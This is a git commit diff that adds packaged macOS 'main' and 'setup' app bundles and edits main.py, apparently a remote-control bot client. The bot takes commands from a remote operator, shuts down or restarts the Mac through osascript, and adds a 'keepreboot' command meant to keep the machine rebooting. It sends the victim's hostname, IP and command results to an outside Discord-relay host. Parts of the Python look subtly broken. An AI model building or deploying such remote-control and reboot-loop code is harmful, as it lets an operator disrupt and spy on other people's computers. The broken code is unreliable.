diff options
| -rwxr-xr-x | dist/main-mac | bin | 0 -> 7459424 bytes | |||
| -rw-r--r-- | dist/main.app.zip | bin | 0 -> 7384677 bytes | |||
| -rw-r--r-- | dist/main.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 0 -> 7459424 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | dist/main.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rwxr-xr-x | dist/setup-mac | bin | 0 -> 7448384 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 0 -> 7373229 bytes | |||
| -rw-r--r-- | dist/setup.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 0 -> 7448384 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | dist/setup.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rw-r--r-- | main.py | 23 |
13 files changed, 326 insertions, 1 deletions
diff --git a/dist/main-mac b/dist/main-mac Binary files differnew file mode 100755 index 0000000..83ae7ed --- /dev/null +++ b/dist/main-mac diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differnew file mode 100644 index 0000000..5cc0dbf --- /dev/null +++ b/dist/main.app.zip diff --git a/dist/main.app/Contents/Info.plist b/dist/main.app/Contents/Info.plist new file mode 100644 index 0000000..d658c02 --- /dev/null +++ b/dist/main.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>main</string> + <key>CFBundleExecutable</key> + <string>main</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>main</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>main</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differnew file mode 100755 index 0000000..d665508 --- /dev/null +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/main.app/Contents/Resources/icon-windowed.icns b/dist/main.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/dist/main.app/Contents/Resources/icon-windowed.icns diff --git a/dist/main.app/Contents/_CodeSignature/CodeResources b/dist/main.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/main.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> diff --git a/dist/setup-mac b/dist/setup-mac Binary files differnew file mode 100755 index 0000000..3d805ed --- /dev/null +++ b/dist/setup-mac diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differnew file mode 100644 index 0000000..ea6159d --- /dev/null +++ b/dist/setup.app.zip diff --git a/dist/setup.app/Contents/Info.plist b/dist/setup.app/Contents/Info.plist new file mode 100644 index 0000000..d086386 --- /dev/null +++ b/dist/setup.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>setup</string> + <key>CFBundleExecutable</key> + <string>setup</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>setup</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>setup</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differnew file mode 100755 index 0000000..be03c0f --- /dev/null +++ b/dist/setup.app/Contents/MacOS/setup diff --git a/dist/setup.app/Contents/Resources/icon-windowed.icns b/dist/setup.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/dist/setup.app/Contents/Resources/icon-windowed.icns diff --git a/dist/setup.app/Contents/_CodeSignature/CodeResources b/dist/setup.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/setup.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> @@ -179,7 +179,7 @@ while True: exit() elif command.startswith('syspower'): localcmd = command.split() - if localcmd[1<len(localcmd)]: + if localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'): try: if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff': if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0: @@ -254,6 +254,27 @@ while True: except: continue + elif localcmd[1<len(localcmd)] and not path.exists(expanduser('~')/'.syspower'): + if localcmd[1] == 'keepreboot': + if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer gonna be keep rebooting, cya...```") + old_command = commandId + except: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") + except KeyboardInterrupt: + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") + except KeyboardInterrupt: + continue + continue + + else: + remove(expanduser('~')/'.syspower') continue elif command.startswith('interact'): |
